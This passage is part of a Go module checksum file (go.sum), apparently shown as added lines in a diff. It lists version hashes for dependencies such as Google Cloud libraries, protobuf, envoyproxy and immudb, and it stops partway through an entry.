+cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= +cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= +cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= +cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= +cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= +cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= +cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= +cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= +cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= +cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= +cloud.google.com/go/compute v0.1.0/go.mod h1:GAesmwr110a34z04OlxYkATPBEfVhkymfTBXtfbBFow= +cloud.google.com/go/compute v1.3.0/go.mod h1:cCZiE1NHEtai4wiufUhW8I8S1JKkAnhnQJWM7YD99wM= +cloud.google.com/go/compute v1.5.0/go.mod h1:9SMHyhJlzhlkJqrPAc839t2BZFTSk6Jdj6mkzQJeu0M= +cloud.google.com/go/compute v1.6.0/go.mod h1:T29tfhtVbq1wvAPo0E3+7vhgmkOYeXjhFvz/FMzPu0s= +cloud.google.com/go/compute v1.6.1/go.mod h1:g85FgpzFvNULZ+S8AYq87axRKuf2Kh7deLqV/jJ3thU= +cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= +cloud.google.com/go/datastore v1.1.0/go.mod h1:umbIZjpQpHh4hmRpGhH4tLFup+FVzqBi1b3c64qFpCk= +cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= +cloud.google.com/go/firestore v1.6.1/go.mod h1:asNXNOzBdyVQmEU+ggO8UPodTkEVFW5Qx+rwHnAz+EY= +cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= +cloud.google.com/go/pubsub v1.1.0/go.mod h1:EwwdRX2sKPjnvnqCa270oGRyludottCI76h+R3AArQw= +cloud.google.com/go/pubsub v1.2.0/go.mod h1:jhfEVHT8odbXTkndysNHCcx0awwzvfOlguIAii9o8iA= +cloud.google.com/go/pubsub v1.3.1/go.mod h1:i+ucay31+CNRpDW4Lu78I4xXG+O1r/MAHgjpRVR+TSU= +cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= +cloud.google.com/go/storage v1.5.0/go.mod h1:tpKbwo567HUNpVclU5sGELwQWBDZ8gh0ZeosJ0Rtdos= +cloud.google.com/go/storage v1.6.0/go.mod h1:N7U0C8pVQ/+NIKOBQyamJIeKQKkZ+mxpohlUTyfDhBk= +cloud.google.com/go/storage v1.8.0/go.mod h1:Wv1Oy7z6Yz3DshWRJFhqM/UCfaWIRTdp0RXyy7KQOVs= +cloud.google.com/go/storage v1.10.0/go.mod h1:FLPqc6j+Ki4BU591ie1oL6qBQGu2Bl/tZ9ullr3+Kg0= +cloud.google.com/go/storage v1.14.0/go.mod h1:GrKmX003DSIwi9o29oFT7YDnHYwZoctc3fOKtUw0Xmo= +dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= +github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= +github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= +github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= +github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= +github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= +github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= +github.com/Masterminds/semver/v3 v3.1.1/go.mod h1:VPu/7SZ7ePZ3QOrcuXROw5FAcLl4a0cBrbBpGY/8hQs= +github.com/Masterminds/sprig v2.15.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= +github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= +github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= +github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= +github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= +github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= +github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOdbQRg5nAHt2jrc5QbV0AGuhDdfQI6gXjiFE= +github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= +github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= +github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= +github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= +github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= +github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= +github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= +github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= +github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= +github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= +github.com/armon/go-metrics v0.3.10/go.mod h1:4O98XIr/9W0sxpJ8UaYkvjk10Iff7SnFrb4QAOwNTFc= +github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= +github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= +github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= +github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= +github.com/bketelsen/crypt v0.0.4/go.mod h1:aI6NrJ0pMGgvZKL1iVgXLnfIFJtfV+bKCoqOes/6LfM= +github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= +github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cespare/xxhash/v2 v2.1.2 h1:YRXhKfTDauu4ajMg1TPgFO5jnlC2HCbmLXMcTG5cbYE= +github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= +github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= +github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= +github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= +github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= +github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= +github.com/codenotary/immudb v1.3.2 h1:+BFEBGfbNEb383/kgp7cuxSxG16wdotQyWn93pEQyg8= +github.com/codenotary/immudb v1.3.2/go.mod h1:rDId/mTSZtEF9f6SOJXNvwh1MsL/J69AAti0Q4bRok4= +github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= +github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= +github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= +github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= +github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= +github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= +github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= +github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= +github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE= +github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= +github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= +github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= +github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= +github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= +github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= +github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= +github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= +github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= +github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= +github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= +github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= +github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= +github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= +github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= +github.com/fsnotify/fsnotify v1.5.4 h1:jRbGcIw6P2Meqdwuo0H1p6JVLbL5DHKAKlYndzMwVZI= +github.com/fsnotify/fsnotify v1.5.4/go.mod h1:OVB6XrOHzAwXMpEM7uPOzcehqUV2UqJxmVXmkdnm1bU= +github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= +github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= +github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= +github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= +github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= +github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= +github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= +github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= +github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= +github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= +github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= +github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= +github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= +github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= +github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= +github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= +github.com/golang/protobuf v1.3.3/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.4/go.mod h1:vzj43D7+SQXF/4pzW/hwtAqwc6iTitCiVSaWz5lYuqw= +github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= +github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= +github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= +github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= +github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= +github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= +github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= +github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= +github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= +github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= +github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= +github.com/google/go-cmp v0.5.8 h1:e6P7q2lk1O+qJJb4BtCQXlK8vWEO8V1ZeuEdJNOqZyg= +github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= +github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= +github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.2.1/go.mod 